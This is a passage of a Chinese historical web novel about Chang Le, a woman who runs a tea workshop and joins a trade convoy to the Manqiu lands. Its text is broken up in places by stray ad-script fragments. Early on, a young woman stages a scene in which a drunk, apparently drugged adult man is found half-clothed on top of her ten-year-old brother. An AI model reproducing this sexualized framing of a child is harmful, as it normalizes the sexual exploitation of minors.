终于，一抹倩影出现在了视线中，莫自明摸了摸下巴，眼睛跟着那道身影一直游动。 这么好的腰身，自己却只消受了一次，这死妮子怎么这般不知好歹。 心中正想着待会儿是否要板起脸来，再吓她一回，让她肯跟了自己，脚踩楼梯的声音就由远及近地响了起来。 “莫公子……”杨初月一见面便唤了一声，语调凄哀婉转，正撩在莫自明的心尖上。 再一看女子双目含泪的样子，他的脸就再板不起来，手忙脚乱就迎了上去。 “月娘子，这是这么了？” 杨初月咬着下唇道：“奴身子不适，想多休息几日，怎奈常娘子不允，逼着奴去制茶，奴一个失神就……” 后面的话被哽咽的声音替代，她怯怯地伸出自己的手，掌上包着白布。 “怎么回事？是她责罚你了。”莫自明握着她的手问。 杨初月咝地一声收回自己的手，垂眸道：“是炒青时烫到了。” “哎！”莫自明无不惋惜道：“多好看的一双手，这会不会留疤呀。” 他这一说，面前的女子抽泣的声音更大了一分，莫自明眼珠一转便道：“我早说了，制茶是个苦活，本不该女子来做，你若是肯跟了我哪里会有今日这份伤。” 预料的反驳声没有响起，他抬眼看着杨初月，只见对方双颊泛红，一双眼不住地看着自己。 “月娘子？”他诧异地开口。 “时至今日，不知奴是否还有这个荣幸伺候公子？” 莫自明被这突如其来的好事砸晕了头，他有些不敢相信自己的耳朵，一直肖想的事情竟然成了。 他连连点头，然后伸手去拉杨初月，却被对方躲开。 “你我虽已有肌肤之亲，但奴还是希望在过门之前能恪守礼仪。” 莫自明还有什么不肯答应的，兴高采烈地听常乐说些要求，然后一一应下。 半个时辰后，一辆马车在贵宾楼前停下，车帘掀开，一对老夫妇和一名十岁的男童走了下来。 莫自明见到人来，立刻将人迎上了雅间。 雅间里已经上了四凉八热两汤的菜，三人一见便眼露精光，但又不好意思地掩藏了下去。 席间，杨家爹娘一会儿嗔怪女儿终于开窍，一会儿又感叹以后跟着女婿就有好日子了。 杨初月打点起精神应对，包着纱布的右手只堪扶着筷子。 自认翁婿的二人把盏对饮，齐氏一直往小儿子碗里夹菜，自己还不忘拨冗吃上几口。 杨耀信双手抱着猪肘啃得欢快，脑子里那点夫子教授的礼仪都被抛之脑后。 “姐姐你这算是嫁个好人家了，日后回门了还能给我带这个猪肘子吗？” 杨初月还在发愣，一旁的齐氏早就接过话去：“你姐姐哪能忘了你呢？就是忘了，你也可以找姐夫，是吧？” 莫自明心中的畅快叫酒一泡酒越发昂扬起来，嘴里接连许了杨家几个好处。 席上的人大快朵颐、推杯换盏，杨初月坐在一侧冷眼旁观。 吃饱喝足，杨志业和莫自明已经半醉，杨耀信不知何时偷喝了几口酒，脸上也泛起了酡红。 母女二人合力将莫自明和杨耀信送回了前者一直居住的房间，又将杨志业扶到了新开的一间房中。 齐氏本留在房内侍候自己丈夫脱衣擦洗，杨初月便选了个没人的地方站在了莫自明的房间的窗下。 伸指戳破窗户纸，她时不时凑过身子往里看，待里面的事情终于发展到自己想要的画面时，她立刻转身去敲了爹娘的房门。 “娘，我好像听到信哥儿吐了。” 话音刚落，房门就被打开，齐氏慌张地走了出来：“快过去看看，这孩子怎么就喝了酒了，再着凉了可就不好了，你也是，怎么不看着点。” 杨初月嘴唇动了动，但最终没有说话。她跟在齐氏身后，眼看着对方打开了房门。 然后，就听见她娘惊恐地大喊了一声：“阿！你们这是在作什么？” 她赶忙走上前去，只见莫自明赤裸这上身压在杨耀信身上，而后者也是衣衫凌乱满脸绯红。 早已冲进去的齐氏还待叫喊，杨初月赶忙上去捂住了她的嘴。 “娘，这事儿不能让别人看见！” 听了这话，齐氏的眼中的怒意转为惊恐，她扒开了女儿的手匆忙地往四周看，见无人过来才放下了心。 她忙不迭地帮儿子穿好衣衫，见对方眼中犹自带迷离，心中又急又气，扬起了巴掌却又落不下去。 还是杨初月端了两杯茶泼到二者脸上，莫自明和杨耀信才答了个冷颤清醒了几分。 “娘，娘！我……”杨耀信明白发生了什么以后扯着喉咙就要喊，被齐氏眼疾手快捂住了。 “莫公子，我已同你说明，这事儿待到我们成亲再说，你怎么连这几天都等不得！”杨初月以帕子捂脸，挤出几滴泪来，“你递过来的酒里是不是又下了上回的药，只是你不知道这酒被信哥儿喝了！” “我没……”莫自明才说出两个字，就被齐氏一个猛推撞到了身后的桌角上，被刺中的腰部传来一阵剧痛，他不由得大声呼痛。 杨初月拿他的衣服堵住了他的嘴，道：“莫嚷了，这事你还想几人知道？这回，我是如何都不会嫁你了！” 腰间的剧痛让莫自明逐渐清醒，他看着杨初月的眼神慢慢染上了恨意。 “好恶毒的女人，这药是你下的吧！为了不嫁给我，为了帮你那个什么常娘子，你就这样算计自己亲弟弟！” 他说着，伸手就要去车扯杨初月，稍微一动就扯到了痛处，只得又捂着腰间。 听了这话的齐氏发了疯似的扑到女儿身上挥拳，嘴里不住骂道：“你个小娼妇，就这么害你弟弟！”

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “我没有！都是他安排的！是他想要害我，只是没料到害到了信哥儿身上。”杨初月奋力挣脱，齐氏就被掼到了地上。 齐氏犹自哀嚎，莫自明又开口：“我害你？我与你在这独自待了几个时辰，我若要害你早就下药了，为何要等到此时！” 说完，他又对着齐氏吼道：“这就是你养的好女儿！你把钱还给我！” 齐氏被他这一扑吓住了，一边嚷着没钱，一边骂死丫头黑心肠。 眼见着精心安排闹成了这样，杨初月愣在原地不知如何收场。 就在齐氏的巴掌要甩到她脸上的时候，一只手忽然出现握住了高扬起来的手腕。 “你是谁，松开我！”齐氏慌乱挣扎。 一旁的杨初月却喊道：“柔娘子，你怎么在这儿？” 未等季念柔回答，常乐的声音就在身后响起。 “事到如今不想着怎么解决，还在这里胡乱行事，你们二人的前途是不要了吗？” “常娘子！”杨初月惊愕开口。 常乐朝她点了点，然后对着缩在一旁垂泪的杨耀信道：“误饮魅药被一商人压在床上，这事穿出去你的圣贤书还念不念了？你的夫子还会认你吗？你还有脸面去科考吗？” 说罢也不管对方是何反应，紧接着又对莫自明道：“这信哥儿的夫子颇有名望，你再家财万贯也不过一介商人，若是让他知道你使计狭昵了他的弟子，使他的名声沾上了污垢，他振臂一呼，不仅你的家产甚至你家人的性命恐怕都难保。” 方才还恨意难消的三人，此刻眼中只剩恐惧，常乐乘胜追击：“我虽人微言轻，但如今得御笔亲赞，在这庆丰县也能说得上几句话，若你们答应我几件事，我就当没看见，还可以替你们隐瞒，若是不答应……” 二人不待她说完就异口同声地应下了，不敢有片刻犹豫。 “莫自明，你就此在杨初月面前消失，我们龙芽坊也绝不与你做生意！” “至于杨家。”常乐看了看齐氏，“杨初月前些日子害得我坊内损失一道方子，这段时间又不曾开工，这笔损失怎么算？” “我们没钱！”齐氏怪叫一声，仅仅搂住怀里的儿子，而后又很恨地看向女儿，“你找她要。” “好！”常乐瞬间接口，“那就是把杨初月押在我龙芽坊了，这个单子你签了吧，还完债之前她就不必回家了。” 齐氏自然氏不识字的，杨耀信又还未回过神来，但架不住常乐的催促，她只能匆忙地按了手指。 * 龙芽坊内，常乐将齐氏按了指印的单子递到杨初月面前。 杨初月本也是不识字的，但在常乐的要求下，龙芽坊的匠人们皆开始识字，她算是其中学得快的。 单子上只写着杨家自愿将女儿押在龙芽坊做工，不得向女儿讨要工钱，不得坊主首肯不得将女儿带出坊内。 自从常乐出现以后就一直提心吊胆的杨初月此时终于松懈了下来，她跪到对方脚边，未语泪先流。 “娘子大恩大德，初月无以为报。” 23. 秋冬 等常乐准许杨初月再开工时已经入秋许久，天气愈发地凉，制茶的作坊实则已无事可做，龙芽坊也与其他作坊一样，多给了一份银子将匠人们打发回去了。 自己能挣钱连底气都足些，众人都盼着来年继续来做事，常乐再三说了龙芽坊离不开诸位，匠人们才放心地走了。 但也有些人是不愿走的，杨初月便是其中之一。 “娘子也真是的，我这才做了几天呢就收工了。”她嘟着嘴打趣。经过上次的事，她的胆子忽然大了许多。 “你最勤快了，今日起整个坊内所有的地就都交给你扫了。”常乐边说边让香儿去给她拿扫帚。 香儿只是笑：“这可怎么好，强了那些粗使下人的活计，她们可要恨死你了！” 杨初月就直闹着要去撕香儿的嘴。 常乐在一旁捂着嘴笑，转眼就看见刘玉娘风风火火地走了过来。 “怎么样？一切可还好？”她问。 “都好着呢。”刘玉娘说着就开始坐下喝茶。 前几日季明病情忽然加重，季念柔便到父亲住处伺候，龙芽坊内每日的巡查便落到了刘玉娘身上。 她本就不耐烦听她爹念叨些三纲五常、贤良淑德的话，自己能挣钱以后，家中原本就向着她的母亲说话的分量也跟着加重。 如今她乐意了便回家一趟，自家爹再说些不中听的，就将娘接过来住上十天再回去，慢慢地，她爹脾气越见收敛。 “总算是有些事做了，闲得这几日，我骨头都要松了，还是做些事心里踏实些。”刘玉娘捧着茶杯感叹。 常乐听她这么说，拿手一指杨初月，笑道：“这可好，你也拿个扫帚，和初月一同去扫地吧。” 才和杨初月闹过的香儿听得此话，笑得前仰后合，拍着掌说：“那真是妙极，有月娘子和玉娘子一同扫地，我们龙芽坊的粗使丫头尽可以遣散了，每个月也可省下十几两银子哩。” 正闹着，忽见一道小身影从后院急匆匆跑了出来，看方向是往厨房里去的。 “绣云。”刘玉娘大喊一声，“这么急急忙忙地要去做什么？” 绣云一转头，忽然就声音哽咽地奔了过来：“常娘子，你快去看看吧，碧桃她流了好多血！” 这话将几人吓得不轻，连忙起身往后院赶。 走到两人所住的房间，碧桃正躺在床上，见到来人，眼泪止不住地往外淌。 “娘子，我是不是要死了？” 常乐顺着她的手往下看，只见她裙子上有一大滩血。 她转头看向其他人，见这些人的神色，就知她们应该和自己想到了一处。 “可还有其他不适？”她问碧桃。 “这里不舒服，涨得很，是不是昨晚豆子吃多了？”她答。 “何时开始痛的？流血的地方可有受过伤？” “昨晚开始痛的，去了茅房却无用。”提到这，她面颊绯红，“倒是不曾受伤。” 常乐松了一口气，轻声道：“没事，碧桃不害怕，这是正常的，我们女人每个月都会经历这事儿。” 碧桃冷了一会儿，忽然又明白了这话，脸上的红更深了，羞得几乎要将头埋进被子里。 “好了，这是喜事。”常乐眉眼弯弯，开始吩咐，“香儿去提热水来，玉娘去拿些干净的月事带，初月去厨房让红婶看着做些吃的。” “那我呢？”绣云看众人都有事出去了，急忙问。 常乐点了点她的鼻子道：“你也快了，本来该红婶跟你说的，但既然赶巧了这次就一道听了罢，日子到了也不会如此慌张。” 话一出口，就成功让绣云也羞红了脸。 几个人又是指点擦洗与使用月事带，又是说些需要注意的地方，你一言我一语地，自把两个粗通此事的小姑娘说得嘴都合不拢。 常乐见了便笑：“好了，又是多痛又是手脚冰凉走不动的，说的这么可怕，把两个妹妹都吓成什么样了！” 说完，她将碧桃和绣云拉了过啦，郑重其事地说：“这不是什么丑事，也不是什么祸事，是你们长大的标志，月事期间更需要注意清洗和饮食，但也不需害怕，有这么多姐姐替你把着呢，有什么不懂的随时来问好吗？” 因为这一个小插曲，龙芽坊今日的午饭便晚了半个时辰。如今坊内的人不多，常乐干脆吩咐还在的匠人们一起围坐吃了一顿，也算是为碧桃庆祝了一番。 又过了几个月，秋去冬来，常乐正和刘玉娘商谈着过冬的棉被和棉衣的置办，香儿便传话说林牧川来访。 林牧川是过来送贩茶银子的，他上京送贡茶后不久，茗香坊部分匠人便带着收来的茶叶出发到各处与外邦交易。 当时龙芽坊所出的陈茶、劣茶和部分茉莉花茶便一齐卖给了控茶司。 “娘子化腐朽为神奇，陈茶、劣茶日后皆有重制的办法，不需如此前一般或销毁或贱卖。”林牧川将手中的单子递出。 常乐接过单子查看，龙芽坊此次共得了三百五十两银子，于目前的规模来看，已是不小的收获，且比此前预估的还要多些，她便心满意足地接下了。 再将银子一称，却足足有五百两，她便诧异地看向林牧川。 对方笑着说：“此次与外邦交易的收获比我们料想的多出不少，虽按着我们的契书，龙芽坊只得三百五十两，但以娘子的贡献，五百两是绝对不对的。” “大人谬赞了。”常乐道，“某不过略尽绵薄之力，还是对亏了林大人慧眼识英雄才有今日之收获，这多出来一百五十两也是朝廷的银子，我如何敢要。” 林牧川无奈一笑：“虽是朝廷的银子不错，但这一递上去真到了国库不知还能剩几成，不如留于娘子做本钱，将龙芽坊做大，才是真正地利国利民。” 见对方兀自失神，林牧川又添了一句：“若是娘子不愿当龙芽坊的利钱收下，也可权当是我个人的入资，真要论起来，那也是林某一人之事。” 常乐便顺坡下 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 驴道：“既然如此，那我就恭敬不如从命了。” 又笑道：“我这总算是将大人盼来了，大人的银子若还不送来，慢说当日盘下这龙芽坊所贷的本钱和利息还不上要被叫门，就是坊内的米粮都要支应不了了，我刚还和玉娘说银子不够，棉被要少做两床呢。” 知道她是在说笑，林牧川便也打趣道：“那可这么好，如今连的了御笔亲题的龙芽坊都要东家盖着破棉被了，庆丰县其余作坊如何过冬哟，我这个控茶司的司长也赶紧请辞得好，不然过不得两年制茶作坊都倒闭了，我一万个头都不够砍的。” 常乐哈哈大笑：“这么一说，这银子可来的及时，不仅解了龙芽坊的急，还保了林大人的命，这个送钱回来的人非得重赏不可。” 两人又闲话了几句，林牧川便提到了明年制茶的事。 “来年不需庆丰县上贡新研制的茶，送贡茶的事我便准备交给手下的人了。” 常乐不解地问：“大人是预备着做其他的事么？” 林牧川点头：“来年我会亲自押着茶叶与外邦交易。” 常乐闻言更是疑惑，她尝试着开口：“莫不是这次去的队伍有何不妥？” 林牧川沉吟了一会儿，摇头道：“那倒不是，只是不久前接了圣旨，来年要将茶叶贩至蛮丘，这是首次与蛮丘开始有茶叶上的交易，我必须得去一趟……” “蛮丘”两个字一出来后，后面的话常乐便没有注意了。 大半年了，从意外落说到现在已经大半年没有听到蛮丘这两个字了。 所谓的“意外”其实多半不是意外，自己落实是有人在背后推了一把，至于这个人是谁，她心中也又所猜测，她只是不明白那人为何要害自己。 难道就因为自己是蛮丘王的阏氏，可蛮丘王不止自己一个阏氏，甚至于其他阏氏都有孩子而自己没有，甚至于…… 思索至此，常乐忽然被林牧川的呼唤声打断了回忆。 “娘子这是怎么了？可是身子不适？” “哦。”常乐露出一个歉意的微笑，“无事，我只是想到，若是大人亲自去交易，我龙芽坊要匀多少茶叶交给大人，那蛮丘又是何地，那里的人是否爱喝茶，爱喝什么茶。” 林牧川便笑：“娘子真不愧是庆丰县女不韦，我才提一句蛮丘，娘子就想了这么多了。” “女不韦？”常乐疑惑。 “这也是我才听到的。”林牧川解释，“现如今，有些人将你比作吕不韦，说你手中捏着满枝春，借着御笔亲题成了香盈袖，之后又将方子公布，将香盈袖浓郁芬芳的味道归于女子本身，让人不知是相信还是不相信。” 常乐便笑：“吕不韦谋国，我不过谋身罢了，怎敢和吕公想比。” 更何况，此人的名声和下场都算不得好。 记忆已经被想起，常乐心中的疑惑和急切就越发明显，沉吟半晌，她终于还是开口。 “林大人，你来年往蛮丘时，我可否一道去？” 24. 临行 翻过年来，龙芽坊的制茶工序有条不紊地进行。 时至初秋，林牧川打点好要运送至蛮丘的茶叶，预备着三日后便动身。 “石头。” 随着一声唤，一名垂髫小童从屋外迈步而近，已经快要八岁的石头身量拔高了不少，眉眼间稚气去了大半。 “大人有事吩咐？” 林牧川也不抬眼，只说道：“你往龙芽坊走一趟，就说我们三日后动身，让常娘子做好准备。” 石头一躬身领命而去。 龙芽坊内，常乐也正准备着这趟出远门的东西。 茶叶是一早就运到控茶司去了，大部分是直接转手给对方，由着控茶司与外邦交易，还有小部分是常乐自留预备的，也托到林牧川手上一起运送。 正照着单子一笔笔对着要带上路的东西，季念柔便急冲冲走了进来。 “娘子，我们何时出发？东西都都准备好了？” 得知常乐要跟着控茶司的队伍一起到蛮丘去以后，季念柔就嚷着要同去。 几个月下来，她一边在季明面前撒娇赌气，一边在常乐面前恳求卖乖，终于把两人磨得不胜其烦，答应了她。 自从得了两人的首肯后，她就急急忙忙地准备起行装，花了大半月的时间大致预备好后，就开始三天两头地向常乐打听出发的日子。 常乐被她烦得耳朵都要起茧了，正想回话，就听讲香儿走进来说石头过来了。 如今的石头确实已经到了要注意男女大防的时候，常乐便到偏厅见了她。 听到对方说三日后出发，她便笑：“这样也好，我的耳根也能清静些。”边说还边往身侧看。 被揶揄了的季念柔不由得露出赧色：“娘子惯会取笑我。” 常乐说得这一句便打住，再问些具体出发的时辰和会合的细节，都弄清楚了以后才打发香儿去送石头。 得知出发的日期后，龙芽坊里和常乐说得上话的人陆续赶了过来，无不关切她在路上可能遇到的困难。 “这一路上风餐露宿的，不比在家能好好用饭，我给娘子备了许多干粮，都用油纸包好了，放三个月都不会坏的。”这是红婶。 “娘子，这是我做的鞋，鞋底加厚了几层。”这是绣云。 常乐看着手中绣了“平安顺遂”几个花字的鞋面，温柔地摸了摸对方的头道：“绣云的绣技越发精湛了，日后可想开一间自己的绣坊？” 小姑娘一听眼睛就亮了，但随即又羞涩地低了头：“我不如娘子这般有能力，也不知能不能管好……” 常乐便笑：“哪有人是生来就会管一个作坊的，我也是慢慢学来的，就像你学针法一样。” 自从准备她学绣技以后，绣云整个人都活泼了许多，原本将她藏起来的那名千针阁的宁婆婆乃是个中好手，她十分看重绣云的天分。 为了收这个徒弟，她辞了千针阁的活，专门在龙芽坊附近赁了房子教绣云技法。 见她确实心诚，也与绣云颇为投契，在与红婶商量过后，就在今年的春日，常乐做主礼官让绣云正式拜了师。 如今绣云的技法越发精湛，宁婆婆已经好几次感叹自己快要没有可教的东西了。 望着绣云蓄满孺慕和期待的眸子，常乐心中充盈着满足感，几年后，庆丰县将再有一名女子任坊主的手艺作坊。 红婶和绣云走后，刘玉娘几人走了过来。 作为龙芽坊的领班，这四人在常乐离开的这段时间里，自然就是要接过照看作坊的担子的。 “如今已是秋天，坊内没有什么重要的事情，只是多注意巡逻防火，也要盯着茶商的回款。” 见众人点头后，她又说：“我这一去不定什么时候回来，如果没赶上春茶的时候，你们就要多辛苦些，凡事都商议着来。若是遇到解决不了的事，就到控茶司或者县衙去求支援。” “娘子。”刘玉娘开口，“这才初秋，真的到明年春季都回不来么？” 常乐心中暗自叹了口气，如果真的只是茶叶贸易的话，一来一回半年的时间应该是够了的。 但她此去还存着查明自己落水真相的心，若是被其他的事情绊住，就不知道何时能回来了。 况且，就在几天前，她得知了一个让她焦急万分的事情：蛮丘王再提和亲，大昭朝廷已经决议让愉嫔第二个女儿前往蛮丘，甚至匆忙给她晋了靖宁的尊号。 靖宁公主。 呵。 常乐得知这个尊号的时候，胃里不断翻搅，几乎要呕出来。 五年前，十七岁的自己被指为和亲公主时，晋的尊号是靖和，如今自己才“过世”不到两年“尸骨未寒”，自己的好父皇就急匆匆地要将自己的同母亲妹妹又送过去了。 姐姐去世，妹妹嫁过去做续弦，乃是佳话，父皇为了边地“和宁”可谓煞费苦心。 做蛮丘王的阏氏是个什么光景，那三年的时间她可是切身体会，她不希望自己的妹妹步后尘。 一定要想办法阻止这件事！常乐在心中想了许久，直觉告诉她，或许突破口就在自己落水一事的真相上。 思索至此，她便只得狠下心冒着舍掉龙芽坊的风险，亲赴蛮丘去查明这一切。 况且，在决定要去蛮丘后，她便刻意在放手，坊内的事情皆由四位领班决议，她只做参谋，如今她们已经能独当一面。 “一切顺利的话还能回来过年呢。”常乐摆出轻松的模样，拉着刘玉娘的手说，“你们这半年其实都是自己过来的，纵使耽误了时间没赶上来年春茶的制作也无需紧张，就如今年一般。” 安抚过四人，她又特地将碧桃唤了过来。 如今已经十五岁的碧桃已经显出了窈窕的身姿，在龙芽坊养得这段日子，再看不出刚见时的骨瘦嶙峋与胆怯瑟缩。 她往常乐身前一站，就是落落大方的模样。 “我去蛮丘后，你就跟着诸位姐姐做事，与之前一样，管着账簿和库房的事。” 碧桃应下以后，她又与这五人交代了些制茶上的事。 “这段时间我尝试着将香盈袖的方子又改良了些，具 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 体的法子已经写在了纸条上，如今就放在这个匣子里。” 说着，她示意香儿拿出一个方形的盒子，然后又说。 “我走后，打龙芽坊主意的人只会更多，若是遇到紧急的情况，你们可以打开匣子按照方法再制新茶，伺机扭转形势。” 说着，她依次扭动匣子侧面的四把钥匙，打开匣子露出里面的一个信封。 然后她将钥匙拔下，分别给了四位领班道：“具体要不要动用这个方子，由你们商议决定，四把钥匙依次扭动才能开锁。” 如此种种交代完后，众人才退下。直到此时，她才有机会询问香儿的打算。 自从一年半前听命从县令府上出来伺候自己后，香儿便一直忠于职守，细心地照顾自己的起居，此次远行变数颇多她没想着带上香儿，香儿也没说想去。 香儿是县令家中的家生子，龙芽坊有起色后，常乐便将她买了过来。 “你的身契在我这里，只要你愿意，我随时可以给你放良。” “娘子大恩。”香儿跪下给常乐磕了个头，奴婢放良这是多少下人求之不得的事。 但随即她又有些不安，道：“娘子这是不想要奴婢伺候了吗？我虽不能随娘子去往蛮丘，但娘子回来之后总归要有人伺候的。” “傻瓜。”常乐将人扶了起来，“眼皮子就这么浅，你还想一辈子做伺候人的下人不成？” “可是，奴婢只会伺候人啊……”香儿嗫嚅。 “没有人只会做一件事，只看你愿不愿意去尝试罢了。”常乐拉着对方坐下，“没有龙芽坊，或者再往前说，没有茗香坊的东院之前，你能相信女子也能制茶吗？” 香儿想起当初刚听县令夫人说自己要去伺候一个制茶的女子时，半是好奇半是不信的感受。 “也是，当初我就觉得娘子不是一般人。”香儿轻声说。 “我哪里不是一般人了。”常乐站起来展开手臂，“你看，不也是一双眼睛、一张嘴、两只手、两条腿。” “你们认为我特殊，不过是我敢想你们不敢想的事，敢做你们不敢做的事罢了，相信我，这世上很多事情，只要你有心，就是有机会的。” 听了这一番此前从未听过的言论，香儿一时有些难以完全理解。 常乐也不强求，只是说：“不急在这一时，你还可以好好想想，我们明日先把放良文书写了，你还可以继续住在坊内，若我回来时你仍旧不知道做什么，那就继续跟在我身边吧。” 得了保证，香儿这才算是松了一口气，谢过恩后就去给常娘子打水洗漱了。 三日后，常乐带着季念柔从龙芽坊的大门出发，一路行至城门与林牧川会合，这才踏上了前往蛮丘之路。 一路浩浩荡荡、走走停停，期间虽有波折但也没有遇到大事。 两个月后，队伍行至与黎安城附近，正值晚间，熟睡中的常乐忽然听到一阵人马哄闹的声音响起。 “娘子……”作男装打扮，化名季英的季念柔从帐篷外掀帘而入，“有人偷袭！” 25. 遇袭 常乐噌地坐了起来，脑袋瞬间清醒。 “什么？偷袭？” 季英点头：“我在睡梦中听到人马响动，就起身到帐篷外面，正碰到林大人从自己的帐篷里出来，我们便一道去看，发现有大队人马往我们这里冲了过来。” 常乐边听边拢了件衣服往外走，帐篷外面站了许多人，多数已经装备停当，一个人高马大的壮汉正朝自己这边走来，正是林牧川身边的护卫贾松。 “常娘子。”贾松抱拳为礼，“林大人说蛮丘来袭，吩咐在下立刻带您和季英往黎安城去。” “那他自己呢？”常乐问。 “茶叶不能丢，林大人正在整顿兵马准备迎敌。” 常乐心中不免惊骇，但随即又想到，林牧川原是雁城的守将，想来也是有统领作战的能力，难怪这位护卫一派理所当然的样子。 她还在犹豫，贾松已经将车马拉了过来，道：“大人已经派斥候去城内请援了，娘子还是快些上车吧。” 季英虽有武力但毕竟不成上过战场，自己在这里也确实只能平白让林牧川分心，常乐便请贾松稍侯，自己与季英各带了点随身的物件就匆匆了上马车。 车轮转得飞快，一路上不免磕磕碰碰，常乐攥着季英的手，心中一面忐忑焦急，一面疑惑不解。 蛮丘为何现在来袭？蛮丘王不是在提议亲之事了吗？如今发动袭击岂不是公然撕破脸皮？ 如今的天子虽然只愿安守，但肯定也容不得对方如此骑到头上来。 蛮丘虽剽悍，但毕竟人少物且物资不丰，若大昭真倾全国之力反攻，他们也是讨不到好处的，蛮丘王难道不怕激怒皇帝？ 更何况，他那有相当话语权的王妹向来主张与大招友好往来，定然是不会允许此事发生的。 想到此，常乐心头忽然涌起一个猜测，不及往下想，她的肩头就被拍了两下。 “娘子莫怕，我虽不曾打过仗，但有这些随行的人掩护，哪怕蛮丘军队真的打过来，我也定然能护好娘子。” 望着季英坚定的眼神，常乐点头回应：“我相信你，斥候应该也已经到黎安城了，想必城内的援军也马上就到了。” 话音刚落，忽然一阵巨大的晃动袭来，常乐和季英一齐撞到了车壁之上。 “怎么回事！”常乐掀开车帘，立刻对上了一双凌厉的眸子，后面的话就被堵在了嗓子眼。 一点寒芒倏地闪到眼前，常乐不及反应，就被一股力量扯到一边，季英双手挥动，一双峨嵋刺截住了弯刀的攻势。 草草对了几招，挥剑的人就被车外随性的人缠住，常乐刚想朝季英靠过去，又一柄弯刀横在了当间，原来是有人从另一边车窗刺了剑进来。 常乐不由惊呼出声，季英早矮身绕过弯刀一手将常乐护在身后，一手持峨嵋刺卡住刀身。 用力往前推动，长剑被抵在车厢的角落，季英再一使力，刀身从中断裂。 此后，不断有刀从车外刺近来，亏得季英常年习武听觉、眼里和身法都已不容小觑，护着常乐在这方寸之地闪转腾挪竟也躲过了每一次袭击，连受伤都无。 随着劈砍、刺入的次数增多，木制的车厢已经不堪承受。 季英拾起车厢内的梨花枪递到常乐手上让她拿好，而后一手紧搂着对方的腰，一手以峨嵋刺格开不断刺进来的刀。 她足尖一点向上跃起，终于在车厢彻底分崩离析的前一瞬带着常乐跳出了车外。 常乐只觉得腰上一紧，而后身子一轻，撞上木板，紧接着就摔到了地上。 季英抱着常乐在地上滚了几圈躲过刺来的弯刀，而后瞅着空当迅速起身，丢下峨嵋刺那起里梨花枪左右连晃挑开冲过来的人。 常乐此时已经回过神来，她捡起地上的峨嵋刺，与季英背靠背站着，将刺尖对着袭来的人，此刻她只恨此前未曾向季英学来两招。 敌人已经看出她没有身手，因此皆朝着她出手，她手上无力，连峨嵋刺怎么握都不会，季英又一直在她身边闪来闪去退敌，为避免误伤，她只能将峨嵋刺又扔掉。 脚下已经横七竖八地躺了几个人，常乐脚下不慎猜中了一人，她忽地一阵胆颤，不由自主地往脚下看。 忽然，她发现了一丝不对劲，此人的长相好似有些不对。 她蹲下身子，忍者不适仔细看了那人的脸：宽脸、矮鼻、小眼……她又动手扯了扯那人的胡须，果然一下用劲就扯了下来。 这哪里是蛮丘人！分明是大昭人才有的长相！ 再去看倒下的其他人，虽细节上有所不同，但没有一个人是高鼻深目的蛮丘人样貌。 常乐心中狂跳，她抬眼去看，眼前这些正在和常乐战斗的人也无一都是大昭人的长相。 正此时，季英发出一声痛呼，她赶紧去看，见对方手臂受伤，正往外渗血。 不能再等了，无论如何都要试一试，常乐猛吸一口气，大声用蛮丘语喊了一声：“苍狼之王，草原之主，虔诚叩拜，庇佑我族。” 边说，她边朝着这群“蛮丘人”去看，果见他们只是惊疑地看着她，然后又继续挥动手里的弯刀，脸上一点其余的情绪都无。 苍狼是蛮丘信奉的神，这句话是祭祀苍狼时的句子，如果真是蛮丘人不会不知道这句话，听到这句话从一个昭国人嘴里喊出来，也不会是如此平静的反应。 常乐心下了然，而后扯着喉咙大喊：“崔将军，让你的将士们都住手吧，你们根本不是蛮丘人！” 此话一出，众人手中挥动的弯刀瞬间停滞了一会儿。 看着他们并没有停下来的意思，常乐继续喊道：“假冒蛮丘，偷袭朝廷命官，事情传出去崔召策你的人头还要不要了！” 话音未落，一个豹头环眼的汉子忽然跳到她身前断喝：“小娘子好大的口气，竟敢直呼崔将军的名讳！” “他指使将士截杀朝廷命官，公然藐视朝廷，大昭百姓人人得儿诛之，只是直呼名讳而已，有何不敢！” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她这话，只激得这猛壮士哇哇直叫，挥动手里的宽背大刀就要砍过来，常乐早背着他有这一击，立刻侧身避过，一旁的季英也早就过来与之交战。 “这位是胡益胡副将吧，崔将军让你截杀朝廷命官你就截杀，朝廷追究起来，你也不怕杀头吗？” “哼！”胡副将鼻子喷气，喊道，“杀头就杀头，但截杀你们乃是老子自己的意思，跟崔将军没有半点关系，那厮早已被我绑了起来，如今人头已经挂在城门了！” 什么？常乐心下大惊，但转瞬又明白过来，此人言行前后不一，若真如他所说，岂会因为自己直呼崔召策的名字而动怒，又怎会还称呼对方为将军。 想来，他怕事情败露，急着要把崔召策摘出去了。但此人勇猛有余，计谋却不足，可以再套他的话。 “我听说崔将军向来爱护手下将士，再军中颇有人望，如今看来传言都是假的，能被自己心腹副将悬头示众，看来是个小人！” “你！”正在战斗的胡副将被这句话噎住，脸憋成了猪肝色。 半天，他才匆忙说道：“还不是因为缺了军饷，兄弟们都吃了几个月的稀粥了，再这样下去没有战死，饿都要饿死了！” 原来如此！常乐此时才算明白了一切。 她双眉倒竖，直盯着胡益道：“为了不让兄弟死，就要杀了我们吗？身为将士，你们的武器不去杀敌人，反而要砍向我们这些同胞吗？” 胡副将脸上的肉一抽，瞬间露出一个难看的神色，常乐一看便知他本心也不愿如此。 “你这娘们好生聒噪！不要再说了！” 话音未落，胡益的刀就砍了过来，一旁的季英堪堪接住这一招，常乐趁机上前，一把扯住对方的衣袖又说：“你抢得我们一次能保你的兄弟吃饱多久，下次又待如何？” 抢在对方接话之前，她接着开口：“我有办法可以让副将的兄弟吃饱，而且是长久地吃饱。” 她直视对方打量的眼神，不敢有半分闪躲。 终于，胡益开口：“你不过一个小小制茶作坊的坊主，能有什么办法？” “还是先请副将令你的兄弟们停下。” 胡益闻言思索了一下，然后大声喊话让众人停手，响彻耳边的打斗之声才停了下来。 常乐朝着胡益长揖为礼，道：“胡副将大义，常乐没齿难忘。” 可能是觉着自己的行为实在难以启齿，胡益急轰轰地挥手，一脸烦闷问：“你方才说有何办法，快快讲来。” “胡副将，此话留待回到黎安城见到崔将军再说也不迟。” 